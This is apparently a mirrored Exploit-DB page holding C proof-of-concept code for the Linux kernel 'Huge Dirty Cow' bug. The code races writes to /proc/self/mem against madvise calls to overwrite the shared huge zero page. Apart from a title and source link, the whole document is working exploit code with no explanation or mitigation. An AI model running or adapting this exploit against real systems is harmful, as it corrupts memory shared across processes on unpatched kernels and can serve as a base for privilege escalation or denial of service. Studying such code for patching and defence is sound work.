Linux Kernel – ‘The Huge Dirty Cow’ Overwriting The Huge Zero Page (2)

  • 作者: anonymous
    日期: 2017-12-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44305/
  • /*
     * The code is modified from https://www.exploit-db.com/exploits/43199/
     */
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <sys/mman.h>
    #include <err.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sched.h>
    #include <pthread.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    
    #define TRIES_PER_PAGE (20000000)
    #define PAGE_SIZE (0x1000)
    #define MEMESET_VAL (0x41)
    #define MAP_SIZE (0x200000)
    #define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    #define OFFSIZE ((sizeof(STRING)-1)/sizeof(char))
    
    struct args{
    int fd;
    void *p;
    int stop;
    off_t off;
    char *chp;
    };
    
    void *write_thread(struct args *arg) {
    for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) {
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
    write(arg->fd, STRING, sizeof(STRING));
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
    }
    return NULL;
    }
    
    void *wait_for_success(struct args *arg) {
    while(*(arg->chp+arg->off*OFFSIZE) != 'A') {
    int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED);
    sched_yield();
    }
    arg->stop = 1;
    return NULL;
    }
    
    int main(void) {
    struct args arg;
    
    arg.off = 0;
    
    arg.p =mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    
    if(arg.p == MAP_FAILED)
    perror("[!] mmap()");
    arg.chp = arg.p;
    printf("mmap address is %p\n", arg.p);
    madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE);
    
    arg.fd = open("/proc/self/mem", O_RDWR);
    if (arg.fd < 0) {
    perror("[!] open()");
    return 1;
    }
    
    
    while(arg.off < PAGE_SIZE/sizeof(STRING)) {
    arg.stop = 0;
    pthread_t thread0, thread1;
    int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg);
    ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg);
    
    if (ret) {
    perror("[!] pthread_create()");
    return 1;
    }
    
    pthread_join(thread0, NULL);
    pthread_join(thread1, NULL); 
     
    printf("[*] Done 0x%x String\n", arg.off);
    arg.off++;
    }
    printf("[*] Overwrite a page\n");
    printf("%s\n", arg.p);
    return 0;
    }